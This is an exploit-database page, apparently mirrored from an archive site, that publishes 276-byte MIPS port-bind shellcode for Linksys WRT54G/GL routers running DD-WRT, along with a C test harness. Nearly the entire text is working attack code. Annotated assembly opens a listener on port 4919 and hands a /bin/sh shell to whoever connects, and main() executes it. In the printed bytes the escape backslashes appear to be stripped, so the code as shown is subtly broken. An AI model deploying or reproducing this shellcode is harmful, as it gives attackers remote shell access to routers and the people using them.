[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/mips (Linksys WRT54G/GL) port bind shellcode 276 bytes
# Published : 2008-08-18
# Author : vaicebine
# Previous Title : freebsd/x86 encrypted shellcode /bin/sh 48 bytes
# Next Title : linux/86 setreuid(geteuid, geteuid) + execve(/bin/sh) shellcode


/*	- MIPS little-endian 
 *	- linux port listener 276 bytes shellcode 
 *	- execve("/bin/sh",["/bin/sh"],[]);
 *	- port 0x1337 (4919)
 *	- tested on Linksys WRT54G/GL (DD-WRT Linux)
 *      - based on scut paper Writing MIPS/Irix shellcode
 *
 * 				vaicebine at gmail dot com
 */
#include <stdio.h>

char port_bind_shellcode[] = 
	"xe0xffxbdx27"	/*     addiu   sp,sp,-32                */
	"xfdxffx0ex24"	/*     li      t6,-3                    */
	"x27x20xc0x01"	/*     nor     a0,t6,zero               */
	"x27x28xc0x01"	/*     nor     a1,t6,zero               */
	"xffxffx06x28"	/*     slti    a2,zero,-1               */	
	"x57x10x02x24"	/*     li      v0,4183 ( __NR_socket )  */
	"x0cx01x01x01"	/*     syscall                          */
	"x50x73x0fx24"	/*     li      t7,0x7350 (nop)          */
	"xffxffx50x30"	/*     andi    s0,v0,0xffff             */	
	"xefxffx0ex24"	/*     li      t6,-17                   */
	"x27x70xc0x01"	/*     nor     t6,t6,zero               */
	"x13x37x0dx24"	/*     li      t5,0x3713 (port 0x1337)  */
	"x04x68xcdx01"	/*     sllv    t5,t5,t6                 */
	"xffxfdx0ex24"	/*     li      t6,-513                  */
	"x27x70xc0x01"	/*     nor     t6,t6,zero               */
	"x25x68xaex01"	/*     or      t5,t5,t6                 */
	"xe0xffxadxaf"	/*     sw      t5,-32(sp)               */
	"xe4xffxa0xaf"	/*     sw      zero,-28(sp)             */	
	"xe8xffxa0xaf"	/*     sw      zero,-24(sp)             */
	"xecxffxa0xaf"	/*     sw      zero,-20(sp)             */
	"x25x20x10x02"	/*     or      a0,s0,s0                 */
	"xefxffx0ex24"	/*     li      t6,-17                   */
	"x27x30xc0x01"	/*     nor     a2,t6,zero               */
	"xe0xffxa5x23"	/*     addi    a1,sp,-32                */
	"x49x10x02x24"	/*     li      v0,4169 ( __NR_bind )    */
	"x0cx01x01x01"	/*     syscall                          */
	"x50x73x0fx24"	/*     li      t7,0x7350 (nop)          */
	"x25x20x10x02"	/*     or      a0,s0,s0                 */
	"x01x01x05x24"	/*     li      a1,257                   */
	"x4ex10x02x24"	/*     li      v0,4174 ( __NR_listen )  */	
	"x0cx01x01x01"	/*     syscall                          */
	"x50x73x0fx24"	/*     li      t7,0x7350 (nop)          */
	"x25x20x10x02"	/*     or      a0,s0,s0                 */
	"xffxffx05x28"	/*     slti    a1,zero,-1               */
	"xffxffx06x28"	/*     slti    a2,zero,-1               */
	"x48x10x02x24"	/*     li      v0,4168 ( __NR_accept )  */
	"x0cx01x01x01"	/*     syscall                          */
	"x50x73x0fx24"	/*     li      t7,0x7350 (nop)          */
	"xffxffx50x30"	/*     andi    s0,v0,0xffff             */	
	"x25x20x10x02"	/*     or      a0,s0,s0                 */
	"xfdxffx0fx24"	/*     li      t7,-3                    */
	"x27x28xe0x01"	/*     nor     a1,t7,zero               */
	"xdfx0fx02x24"	/*     li      v0,4063 ( __NR_dup2 )    */
	"x0cx01x01x01"	/*     syscall                          */
	"x50x73x0fx24"	/*     li      t7,0x7350 (nop)          */
	"x25x20x10x02"	/*     or      a0,s0,s0                 */
	"x01x01x05x28"	/*     slti    a1,zero,0x0101           */
	"xdfx0fx02x24"	/*     li      v0,4063 ( __NR_dup2 )    */
	"x0cx01x01x01"	/*     syscall                          */
	"x50x73x0fx24"	/*     li      t7,0x7350 (nop)          */
	"x25x20x10x02"	/*     or      a0,s0,s0                 */
	"xffxffx05x28"	/*     slti    a1,zero,-1               */	
	"xdfx0fx02x24"	/*     li      v0,4063 ( __NR_dup2 )    */
	"x0cx01x01x01"	/*     syscall                          */
	"x50x73x0fx24"	/*     li      t7,0x7350 (nop)          */
	"x50x73x06x24"	/*     li      a2,0x7350                */
	"xffxffxd0x04"	/* LB: bltzal  a2,LB                    */
	"x50x73x0fx24"	/*     li      t7,0x7350 (nop)          */
	"xffxffx06x28"	/*     slti    a2,zero,-1               */
	"xdbxffx0fx24"	/*     li      t7,-37                   */
	"x27x78xe0x01"	/*     nor     t7,t7,zero               */
	"x21x20xefx03"	/*     addu    a0,ra,t7                 */
	"xf0xffxa4xaf"	/*     sw      a0,-16(sp)               */
	"xf4xffxa0xaf"	/*     sw      zero,-12(sp)             */
	"xf0xffxa5x23"	/*     addi    a1,sp,-16                */
	"xabx0fx02x24"	/*     li      v0,4011 ( __NR_execve )  */
	"x0cx01x01x01"	/*     syscall                          */
	"/bin/sh";

int main()
{
    void (*p)(void);
    p = port_bind_shellcode;
    printf("shellcode size %dn", sizeof(port_bind_shellcode));
    p();

    return 0;
}

// www.Syue.com [2008-08-18]